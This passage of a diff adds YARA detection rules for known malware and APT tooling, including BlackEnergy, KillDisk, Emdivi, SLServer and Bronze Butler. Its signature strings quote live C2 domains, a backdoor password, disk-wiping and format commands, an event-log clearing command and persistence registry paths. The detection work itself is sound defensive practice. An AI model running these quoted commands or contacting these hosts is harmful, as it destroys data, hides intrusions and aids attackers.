$s14 = "SystemPropertiesProtection.exe" fullword ascii
|
||||
$s15 = "SystemPropertiesRemote.exe" fullword ascii
|
||||
|
||||
/* C2 Server user by APT 6 group */
|
||||
$c1 = "jobcall.org" ascii
|
||||
$c2 = "sportsinfinite.com" ascii
|
||||
$c3 = "milsatcom.us" ascii
|
||||
$c4 = "geographicphotographer.com" ascii
|
||||
$c5 = "snowsmooth.com" ascii
|
||||
$c6 = "goodre.net" ascii
|
||||
$c7 = "gloflabs.com" ascii
|
||||
condition:
|
||||
(
|
||||
uint16(0) == 0x5a4d and filesize < 1000KB and
|
||||
( ( 1 of ($x*) and 3 of ($s*) ) or 1 of ($c*) )
|
||||
) or
|
||||
( 6 of them )
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
|
||||
rule custom_ssh_backdoor_server {
|
||||
meta:
|
||||
description = "Custome SSH backdoor based on python and paramiko - file server.py"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/S46L3o"
|
||||
date = "2015-05-14"
|
||||
hash = "0953b6c2181249b94282ca5736471f85d80d41c9"
|
||||
strings:
|
||||
$s0 = "command= raw_input(\"Enter command: \").strip('n')" fullword ascii
|
||||
$s1 = "print '[-] (Failed to load moduli -- gex will be unsupported.)'" fullword ascii
|
||||
$s2 = "print '[-] Listen/bind/accept failed: ' + str(e)" fullword ascii
|
||||
$s3 = "chan.send(command)" fullword ascii
|
||||
$s4 = "print '[-] SSH negotiation failed.'" fullword ascii
|
||||
$s5 = "except paramiko.SSHException, x:" fullword ascii
|
||||
condition:
|
||||
filesize < 10KB and 5 of them
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
/*
|
||||
Author: Bit Byte Bitten
|
||||
Date: 5/14/2015
|
||||
*/
|
||||
|
||||
rule apt_backspace{
|
||||
meta:
|
||||
description = "Detects APT backspace"
|
||||
author = "Bit Byte Bitten"
|
||||
date = "2015-05-14"
|
||||
hash = "6cbfeb7526de65eb2e3c848acac05da1e885636d17c1c45c62ad37e44cd84f99"
|
||||
strings:
|
||||
$s1 = "!! Use Splice Socket !!"
|
||||
$s2 = "User-Agent: SJZJ (compatible; MSIE 6.0; Win32)"
|
||||
$s3 = "g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d"
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and all of them
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-05-12
|
||||
Identifier:
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule BeepService_Hacktool {
|
||||
meta:
|
||||
description = "Detects BeepService Hacktool used by Chinese APT groups"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/p32Ozf"
|
||||
date = "2016-05-12"
|
||||
score = 85
|
||||
hash1 = "032df812a68852b6f3822b9eac4435e531ca85bdaf3ee99c669134bd16e72820"
|
||||
hash2 = "e30933fcfc9c2a7443ee2f23a3df837ca97ea5653da78f782e2884e5a7b734f7"
|
||||
hash3 = "ebb9c4f7058e19b006450b8162910598be90428998df149977669e61a0b7b9ed"
|
||||
hash4 = "6db2ffe7ec365058f9d3b48dcca509507c138f19ade1adb5f13cf43ea0623813"
|
||||
strings:
|
||||
$x1 = "\\\\%s\\admin$\\system32\\%s" fullword ascii
|
||||
|
||||
$s1 = "123.exe" fullword ascii
|
||||
$s2 = "regclean.exe" fullword ascii
|
||||
$s3 = "192.168.88.69" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 100KB and $x1 and 1 of ($s*)
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
rule dubseven_file_set
|
||||
{
|
||||
meta:
|
||||
author = "Matt Brooks, @cmatthewbrooks"
|
||||
date = "2016/04/18"
|
||||
score = 75
|
||||
description = "Searches for service files loading UP007"
|
||||
|
||||
strings:
|
||||
$file1 = "\\Microsoft\\Internet Explorer\\conhost.exe"
|
||||
$file2 = "\\Microsoft\\Internet Explorer\\dll2.xor"
|
||||
$file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL"
|
||||
$file4 = "\\Microsoft\\Internet Explorer\\main.dll"
|
||||
$file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe"
|
||||
$file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll"
|
||||
$file7 = "\\Microsoft\\Internet Explorer\\mon"
|
||||
$file8 = "\\Microsoft\\Internet Explorer\\runas.exe"
|
||||
|
||||
condition:
|
||||
//MZ header
|
||||
uint16(0) == 0x5A4D and
|
||||
|
||||
//PE signature
|
||||
uint32(uint32(0x3C)) == 0x00004550 and
|
||||
|
||||
//Just a few of these as they differ
|
||||
3 of ($file*)
|
||||
}
|
||||
|
||||
rule dubseven_dropper_registry_checks
|
||||
{
|
||||
meta:
|
||||
author = "Matt Brooks, @cmatthewbrooks"
|
||||
date = "2016/04/18"
|
||||
score = 75
|
||||
description = "Searches for registry keys checked for by the dropper"
|
||||
|
||||
strings:
|
||||
$reg1 = "SOFTWARE\\360Safe\\Liveup"
|
||||
$reg2 = "Software\\360safe"
|
||||
$reg3 = "SOFTWARE\\kingsoft\\Antivirus"
|
||||
$reg4 = "SOFTWARE\\Avira\\Avira Destop"
|
||||
$reg5 = "SOFTWARE\\rising\\RAV"
|
||||
$reg6 = "SOFTWARE\\JiangMin"
|
||||
$reg7 = "SOFTWARE\\Micropoint\\Anti-Attack"
|
||||
|
||||
condition:
|
||||
//MZ header
|
||||
uint16(0) == 0x5A4D and
|
||||
|
||||
//PE signature
|
||||
uint32(uint32(0x3C)) == 0x00004550 and
|
||||
|
||||
all of ($reg*)
|
||||
}
|
||||
|
||||
rule dubseven_dropper_dialog_remains
|
||||
{
|
||||
meta:
|
||||
author = "Matt Brooks, @cmatthewbrooks"
|
||||
date = "2016/04/18"
|
||||
score = 75
|
||||
description = "Searches for related dialog remnants. How rude."
|
||||
|
||||
strings:
|
||||
$dia1 = "fuckMessageBox 1.0" wide
|
||||
$dia2 = "Rundll 1.0" wide
|
||||
|
||||
condition:
|
||||
//MZ header
|
||||
uint16(0) == 0x5A4D and
|
||||
|
||||
//PE signature
|
||||
uint32(uint32(0x3C)) == 0x00004550 and
|
||||
|
||||
any of them
|
||||
}
|
||||
|
||||
|
||||
rule maindll_mutex
|
||||
{
|
||||
meta:
|
||||
author = "Matt Brooks, @cmatthewbrooks"
|
||||
date = "2016/04/18"
|
||||
score = 75
|
||||
description = "Matches on the maindll mutex"
|
||||
|
||||
strings:
|
||||
$mutex = "h31415927tttt"
|
||||
|
||||
condition:
|
||||
//MZ header
|
||||
uint16(0) == 0x5A4D and
|
||||
|
||||
//PE signature
|
||||
uint32(uint32(0x3C)) == 0x00004550 and
|
||||
|
||||
$mutex
|
||||
}
|
||||
|
||||
|
||||
rule SLServer_dialog_remains
|
||||
{
|
||||
meta:
|
||||
author = "Matt Brooks, @cmatthewbrooks / modified by Florian Roth"
|
||||
date = "2016/04/18"
|
||||
score = 75
|
||||
description = "Searches for related dialog remnants."
|
||||
|
||||
strings:
|
||||
$slserver = "SLServer" wide fullword
|
||||
|
||||
$fp1 = "Dell Inc." wide fullword
|
||||
$fp2 = "ScriptLogic Corporation" wide
|
||||
|
||||
$extra1 = "SLSERVER" wide fullword
|
||||
$extra2 = "\\SLServer.pdb" ascii
|
||||
|
||||
condition:
|
||||
//MZ header
|
||||
uint16(0) == 0x5A4D and
|
||||
|
||||
//PE signature
|
||||
uint32(uint32(0x3C)) == 0x00004550 and
|
||||
|
||||
// Reduce false positives
|
||||
not 1 of ($fp*) and
|
||||
1 of ($extra*) and
|
||||
|
||||
$slserver
|
||||
}
|
||||
|
||||
rule SLServer_mutex
|
||||
{
|
||||
meta:
|
||||
author = "Matt Brooks, @cmatthewbrooks"
|
||||
date = "2016/04/18"
|
||||
score = 75
|
||||
description = "Searches for the mutex."
|
||||
|
||||
strings:
|
||||
$mutex = "M&GX^DSF&DA@F"
|
||||
|
||||
condition:
|
||||
//MZ header
|
||||
uint16(0) == 0x5A4D and
|
||||
|
||||
//PE signature
|
||||
uint32(uint32(0x3C)) == 0x00004550 and
|
||||
|
||||
$mutex
|
||||
}
|
||||
|
||||
rule SLServer_command_and_control
|
||||
{
|
||||
meta:
|
||||
author = "Matt Brooks, @cmatthewbrooks"
|
||||
date = "2016/04/18"
|
||||
score = 75
|
||||
description = "Searches for the C2 server."
|
||||
|
||||
strings:
|
||||
$c2 = "safetyssl.security-centers.com"
|
||||
|
||||
condition:
|
||||
//MZ header
|
||||
uint16(0) == 0x5A4D and
|
||||
|
||||
//PE signature
|
||||
uint32(uint32(0x3C)) == 0x00004550 and
|
||||
|
||||
$c2
|
||||
}
|
||||
|
||||
rule SLServer_campaign_code
|
||||
{
|
||||
meta:
|
||||
author = "Matt Brooks, @cmatthewbrooks"
|
||||
date = "2016/04/18"
|
||||
score = 75
|
||||
description = "Searches for the related campaign code."
|
||||
|
||||
strings:
|
||||
$campaign = "wthkdoc0106"
|
||||
|
||||
condition:
|
||||
//MZ header
|
||||
uint16(0) == 0x5A4D and
|
||||
|
||||
//PE signature
|
||||
uint32(uint32(0x3C)) == 0x00004550 and
|
||||
|
||||
$campaign
|
||||
}
|
||||
|
||||
rule SLServer_unknown_string
|
||||
{
|
||||
meta:
|
||||
author = "Matt Brooks, @cmatthewbrooks"
|
||||
date = "2016/04/18"
|
||||
score = 75
|
||||
description = "Searches for a unique string."
|
||||
|
||||
strings:
|
||||
$string = "test-b7fa835a39"
|
||||
|
||||
condition:
|
||||
//MZ header
|
||||
uint16(0) == 0x5A4D and
|
||||
|
||||
//PE signature
|
||||
uint32(uint32(0x3C)) == 0x00004550 and
|
||||
|
||||
$string
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2015-02-19
|
||||
Identifier: BlackEnergy Malware
|
||||
*/
|
||||
|
||||
rule BlackEnergy_BE_2 {
|
||||
meta:
|
||||
description = "Detects BlackEnergy 2 Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "http://goo.gl/DThzLz"
|
||||
date = "2015/02/19"
|
||||
hash = "983cfcf3aaaeff1ad82eb70f77088ad6ccedee77"
|
||||
strings:
|
||||
$s0 = "<description> Windows system utility service </description>" fullword ascii
|
||||
$s1 = "WindowsSysUtility - Unicode" fullword wide
|
||||
$s2 = "msiexec.exe" fullword wide
|
||||
$s3 = "WinHelpW" fullword ascii
|
||||
$s4 = "ReadProcessMemory" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 250KB and all of ($s*)
|
||||
}
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-01-03
|
||||
Identifier: BlackEnergy Malware
|
||||
*/
|
||||
|
||||
rule BlackEnergy_VBS_Agent {
|
||||
meta:
|
||||
description = "Detects VBS Agent from BlackEnergy Report - file Dropbearrun.vbs"
|
||||
author = "Florian Roth"
|
||||
reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
|
||||
date = "2016-01-03"
|
||||
hash = "b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f"
|
||||
strings:
|
||||
$s0 = "WshShell.Run \"dropbear.exe -r rsa -d dss -a -p 6789\", 0, false" fullword ascii
|
||||
$s1 = "WshShell.CurrentDirectory = \"C:\\WINDOWS\\TEMP\\Dropbear\\\"" fullword ascii
|
||||
$s2 = "Set WshShell = CreateObject(\"WScript.Shell\")" fullword ascii /* Goodware String - occured 1 times */
|
||||
condition:
|
||||
filesize < 1KB and 2 of them
|
||||
}
|
||||
|
||||
rule DropBear_SSH_Server {
|
||||
meta:
|
||||
description = "Detects DropBear SSH Server (not a threat but used to maintain access)"
|
||||
author = "Florian Roth"
|
||||
reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
|
||||
date = "2016-01-03"
|
||||
score = 50
|
||||
hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
|
||||
strings:
|
||||
$s1 = "Dropbear server v%s https://matt.ucc.asn.au/dropbear/dropbear.html" fullword ascii
|
||||
$s2 = "Badly formatted command= authorized_keys option" fullword ascii
|
||||
$s3 = "This Dropbear program does not support '%s' %s algorithm" fullword ascii
|
||||
$s4 = "/etc/dropbear/dropbear_dss_host_key" fullword ascii
|
||||
$s5 = "/etc/dropbear/dropbear_rsa_host_key" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
|
||||
}
|
||||
|
||||
rule BlackEnergy_BackdoorPass_DropBear_SSH {
|
||||
meta:
|
||||
description = "Detects the password of the backdoored DropBear SSH Server - BlackEnergy"
|
||||
author = "Florian Roth"
|
||||
reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
|
||||
date = "2016-01-03"
|
||||
hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
|
||||
strings:
|
||||
$s1 = "passDs5Bu9Te7" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and $s1
|
||||
}
|
||||
|
||||
/* Super Rules ------------------------------------------------------------- */
|
||||
|
||||
rule BlackEnergy_KillDisk_1 {
|
||||
meta:
|
||||
description = "Detects KillDisk malware from BlackEnergy"
|
||||
author = "Florian Roth"
|
||||
reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
|
||||
date = "2016-01-03"
|
||||
score = 80
|
||||
super_rule = 1
|
||||
hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
|
||||
hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
|
||||
hash3 = "c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d"
|
||||
hash4 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
|
||||
strings:
|
||||
$s0 = "system32\\cmd.exe" fullword ascii
|
||||
$s1 = "system32\\icacls.exe" fullword wide
|
||||
$s2 = "/c del /F /S /Q %c:\\*.*" fullword ascii
|
||||
$s3 = "shutdown /r /t %d" fullword ascii
|
||||
$s4 = "/C /Q /grant " fullword wide
|
||||
$s5 = "%08X.tmp" fullword ascii
|
||||
$s6 = "/c format %c: /Y /X /FS:NTFS" fullword ascii
|
||||
$s7 = "/c format %c: /Y /Q" fullword ascii
|
||||
$s8 = "taskhost.exe" fullword wide /* Goodware String - occured 1 times */
|
||||
$s9 = "shutdown.exe" fullword wide /* Goodware String - occured 1 times */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 500KB and 8 of them
|
||||
}
|
||||
|
||||
rule BlackEnergy_KillDisk_2 {
|
||||
meta:
|
||||
description = "Detects KillDisk malware from BlackEnergy"
|
||||
author = "Florian Roth"
|
||||
reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
|
||||
date = "2016-01-03"
|
||||
score = 80
|
||||
super_rule = 1
|
||||
hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
|
||||
hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
|
||||
hash3 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
|
||||
strings:
|
||||
$s0 = "%c:\\~tmp%08X.tmp" fullword ascii
|
||||
$s1 = "%s%08X.tmp" fullword ascii
|
||||
$s2 = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" fullword wide
|
||||
$s3 = "%ls_%ls_%ls_%d.~tmp" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 500KB and 3 of them
|
||||
}
|
||||
|
||||
rule BlackEnergy_Driver_USBMDM {
|
||||
meta:
|
||||
description = "Black Energy Driver"
|
||||
author = "Florian Roth"
|
||||
reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
|
||||
date = "2016-01-04"
|
||||
super_rule = 1
|
||||
hash1 = "7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094"
|
||||
hash2 = "b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a"
|
||||
hash3 = "edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281"
|
||||
hash4 = "ac13b819379855af80ea3499e7fb645f1c96a4a6709792613917df4276c583fc"
|
||||
hash5 = "7a393b3eadfc8938cbecf84ca630e56e37d8b3d23e084a12ea5a7955642db291"
|
||||
hash6 = "405013e66b6f137f915738e5623228f36c74e362873310c5f2634ca2fda6fbc5"
|
||||
hash7 = "244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5"
|
||||
hash8 = "edcd1722fdc2c924382903b7e4580f9b77603110e497393c9947d45d311234bf"
|
||||
strings:
|
||||
$s1 = "USB MDM Driver" fullword wide
|
||||
$s2 = "KdDebuggerNotPresent" fullword ascii /* Goodware String - occured 50 times */
|
||||
$s3 = "KdDebuggerEnabled" fullword ascii /* Goodware String - occured 69 times */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 180KB and all of them
|
||||
}
|
||||
|
||||
rule BlackEnergy_Driver_AMDIDE {
|
||||
meta:
|
||||
description = "Black Energy Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
|
||||
date = "2016-01-04"
|
||||
super_rule = 1
|
||||
hash1 = "32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614"
|
||||
hash2 = "3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2"
|
||||
hash3 = "90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c"
|
||||
hash4 = "97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1"
|
||||
hash5 = "5111de45210751c8e40441f16760bf59856ba798ba99e3c9532a104752bf7bcc"
|
||||
hash6 = "cbc4b0aaa30b967a6e29df452c5d7c2a16577cede54d6d705ca1f095bd6d4988"
|
||||
hash7 = "1ce0dfe1a6663756a32c69f7494ad082d293d32fe656d7908fb445283ab5fa68"
|
||||
strings:
|
||||
$s1 = " AMD IDE driver" fullword wide
|
||||
$s2 = "SessionEnv" fullword wide
|
||||
$s3 = "\\DosDevices\\{C9059FFF-1C49-4445-83E8-" wide
|
||||
$s4 = "\\Device\\{C9059FFF-1C49-4445-83E8-" wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 150KB and all of them
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
|
||||
rule blackenergy3_installer
|
||||
{
|
||||
meta:
|
||||
author = "Mike Schladt"
|
||||
date = "2015-05-29"
|
||||
description = "Matches unique code block for import name construction "
|
||||
md5 = "78387651DD9608FCDF6BFB9DF8B84DB4"
|
||||
sha1 = "78636F7BBD52EA80D79B4E2A7882403092BBB02D"
|
||||
reference = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
|
||||
strings:
|
||||
$import_names = { C7 45 D0 75 73 65 72 C7 45 D4 33 32 2E 64 66 C7 45 D8 6C 6C 88 5D DA C7 45 84 61 64 76 61 C7 45 88 70 69 33 32 C7 45 8C 2E 64 6C 6C 88 5D 90 C7 45 B8 77 69 6E 69 C7 45 BC 6E 65 74 2E C7 45 C0 64 6C 6C 00 C7 45 C4 77 73 32 5F C7 45 C8 33 32 2E 64 66 C7 45 CC 6C 6C 88 5D CE C7 45 94 73 68 65 6C C7 45 98 6C 33 32 2E C7 45 9C 64 6C 6C 00 C7 45 E8 70 73 61 70 C7 45 EC 69 2E 64 6C 66 C7 45 F0 6C 00 C7 85 74 FF FF FF 6E 65 74 61 C7 85 78 FF FF FF 70 69 33 32 C7 85 7C FF FF FF 2E 64 6C 6C 88 5D 80 C7 85 64 FF FF FF 6F 6C 65 61 C7 85 68 FF FF FF 75 74 33 32 C7 85 6C FF FF FF 2E 64 6C 6C 88 9D 70 FF FF FF C7 45 DC 6F 6C 65 33 C7 45 E0 32 2E 64 6C 66 C7 45 E4 6C 00 C7 45 A0 76 65 72 73 C7 45 A4 69 6F 6E 2E C7 45 A8 64 6C 6C 00 C7 85 54 FF FF FF 69 6D 61 67 C7 85 58 FF FF FF 65 68 6C 70 C7 85 5C FF FF FF 2E 64 6C 6C 88 9D 60 FF FF FF C7 45 AC 61 70 70 68 C7 45 B0 65 6C 70 2E C7 45 B4 64 6C 6C 00 C7 45 F4 2E 64 6C 6C 88 5D F8 }
|
||||
condition :
|
||||
any of them
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth @Cyber0ps
|
||||
Date: 2015-08-20
|
||||
Identifier: Emdivi
|
||||
*/
|
||||
|
||||
rule Emdivi_SFX {
|
||||
meta:
|
||||
description = "Detects Emdivi malware in SFX Archive"
|
||||
author = "Florian Roth @Cyber0ps"
|
||||
reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
|
||||
date = "2015-08-20"
|
||||
score = 70
|
||||
hash1 = "7a3c81b2b3c14b9cd913692347019887b607c54152b348d6d3ccd3ecfd406196"
|
||||
hash2 = "8c3df4e4549db3ce57fc1f7b1b2dfeedb7ba079f654861ca0b608cbfa1df0f6b"
|
||||
strings:
|
||||
$x1 = "Setup=unsecess.exe" fullword ascii
|
||||
$x2 = "Setup=leassnp.exe" fullword ascii
|
||||
|
||||
$s1 = "&Enter password for the encrypted file:" fullword wide
|
||||
$s2 = ";The comment below contains SFX script commands" fullword ascii
|
||||
$s3 = "Path=%temp%" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 740KB and (1 of ($x*) and all of ($s*))
|
||||
}
|
||||
|
||||
/* Super Rules ------------------------------------------------------------- */
|
||||
|
||||
rule Emdivi_Gen1 {
|
||||
meta:
|
||||
description = "Detects Emdivi Malware"
|
||||
author = "Florian Roth @Cyber0ps"
|
||||
reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
|
||||
date = "2015-08-20"
|
||||
score = 80
|
||||
super_rule = 1
|
||||
hash1 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
|
||||
hash2 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
|
||||
hash3 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
|
||||
hash4 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
|
||||
strings:
|
||||
$x1 = "wmic nteventlog where filename=\"SecEvent\" call cleareventlog" fullword wide
|
||||
$x2 = "del %Temp%\\*.exe %Temp%\\*.dll %Temp%\\*.bat %Temp%\\*.ps1 %Temp%\\*.cmd /f /q" fullword wide
|
||||
$x3 = "userControl-v80.exe" fullword ascii
|
||||
|
||||
$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword wide
|
||||
$s2 = "http://www.msftncsi.com" fullword wide
|
||||
$s3 = "net use | find /i \"c$\"" fullword wide
|
||||
$s4 = " /del /y & " fullword wide
|
||||
$s5 = "\\auto.cfg" fullword wide
|
||||
$s6 = "/ncsi.txt" fullword wide
|
||||
$s7 = "Dcmd /c" fullword wide
|
||||
$s8 = "/PROXY" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 800KB and all of them
|
||||
}
|
||||
|
||||
rule Emdivi_Gen2 {
|
||||
meta:
|
||||
description = "Detects Emdivi Malware"
|
||||
author = "Florian Roth @Cyber0ps"
|
||||
reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
|
||||
date = "2015-08-20"
|
||||
super_rule = 1
|
||||
score = 80
|
||||
hash1 = "9a351885bf5f6fec466f30021088504d96e9db10309622ed198184294717add1"
|
||||
hash2 = "a5be7cb1f37030c9f9211c71e0fbe01dae19ff0e6560c5aab393621f18a7d012"
|
||||
hash3 = "9183abb9b639699cd2ad28d375febe1f34c14679b7638d1a79edb49d920524a4"
|
||||
strings:
|
||||
$s1 = "%TEMP%\\IELogs\\" fullword ascii
|
||||
$s2 = "MSPUB.EXE" fullword ascii
|
||||
$s3 = "%temp%\\" fullword ascii
|
||||
$s4 = "\\NOTEPAD.EXE" fullword ascii
|
||||
$s5 = "%4d-%02d-%02d %02d:%02d:%02d " fullword ascii
|
||||
$s6 = "INTERNET_OPEN_TYPE_PRECONFIG" fullword ascii
|
||||
$s7 = "%4d%02d%02d%02d%02d%02d" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 1300KB and 6 of them
|
||||
}
|
||||
|
||||
rule Emdivi_Gen3 {
|
||||
meta:
|
||||
description = "Detects Emdivi Malware"
|
||||
author = "Florian Roth @Cyber0ps"
|
||||
reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
|
||||
date = "2015-08-20"
|
||||
super_rule = 1
|
||||
score = 80
|
||||
hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
|
||||
hash2 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
|
||||
strings:
|
||||
$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword ascii
|
||||
|
||||
$s2 = "\\Mozilla\\Firefox\\Profiles\\" fullword ascii
|
||||
$s4 = "\\auto.cfg" fullword ascii
|
||||
$s5 = "/ncsi.txt" fullword ascii
|
||||
$s6 = "/en-us/default.aspx" fullword ascii
|
||||
$s7 = "cmd /c" fullword ascii
|
||||
$s9 = "APPDATA" fullword ascii /* Goodware String - occured 25 times */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 850KB and
|
||||
(
|
||||
( $x1 and 1 of ($s*) ) or
|
||||
( 4 of ($s*) )
|
||||
)
|
||||
}
|
||||
|
||||
rule Emdivi_Gen4 {
|
||||
meta:
|
||||
description = "Detects Emdivi Malware"
|
||||
author = "Florian Roth @Cyber0ps"
|
||||
reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
|
||||
date = "2015-08-20"
|
||||
super_rule = 1
|
||||
score = 80
|
||||
hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
|
||||
hash2 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
|
||||
hash3 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
|
||||
hash4 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
|
||||
hash5 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
|
||||
hash6 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
|
||||
strings:
|
||||
$s1 = ".http_port\", " fullword wide
|
||||
$s2 = "UserAgent: " fullword ascii
|
||||
$s3 = "AUTH FAILED" fullword ascii
|
||||
$s4 = "INVALID FILE PATH" fullword ascii
|
||||
$s5 = ".autoconfig_url\", \"" fullword wide
|
||||
$s6 = "FAILED TO WRITE FILE" fullword ascii
|
||||
$s7 = ".proxy" fullword wide
|
||||
$s8 = "AuthType: " fullword ascii
|
||||
$s9 = ".no_proxies_on\", \"" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 853KB and all of them
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-10-14
|
||||
Identifier: Bronze Butler
|
||||
Reference: https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
import "pe"
|
||||
|
||||
rule BronzeButler_Daserf_Delphi_1 {
|
||||
meta:
|
||||
description = "Detects malware / hacktool sample from Bronze Butler incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
|
||||
date = "2017-10-14"
|
||||
hash1 = "89a80ca92600af64eb9c32cab4e936c7d675cf815424d72438973e2d6788ef64"
|
||||
hash2 = "b1bd03cd12638f44d9ace271f65645e7f9b707f86e9bcf790e0e5a96b755556b"
|
||||
hash3 = "22e1965154bdb91dd281f0e86c8be96bf1f9a1e5fe93c60a1d30b79c0c0f0d43"
|
||||
strings:
|
||||
$s1 = "Services.exe" fullword ascii
|
||||
$s2 = "Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)" fullword ascii
|
||||
$s3 = "l32.dll" fullword ascii
|
||||
$s4 = "tProcess:" fullword ascii
|
||||
$s5 = " InjectPr" ascii
|
||||
$s6 = "Write$Error creating variant or safe array Invalid argument to time encode" fullword wide
|
||||
$s7 = "on\\run /v " fullword ascii
|
||||
$s8 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
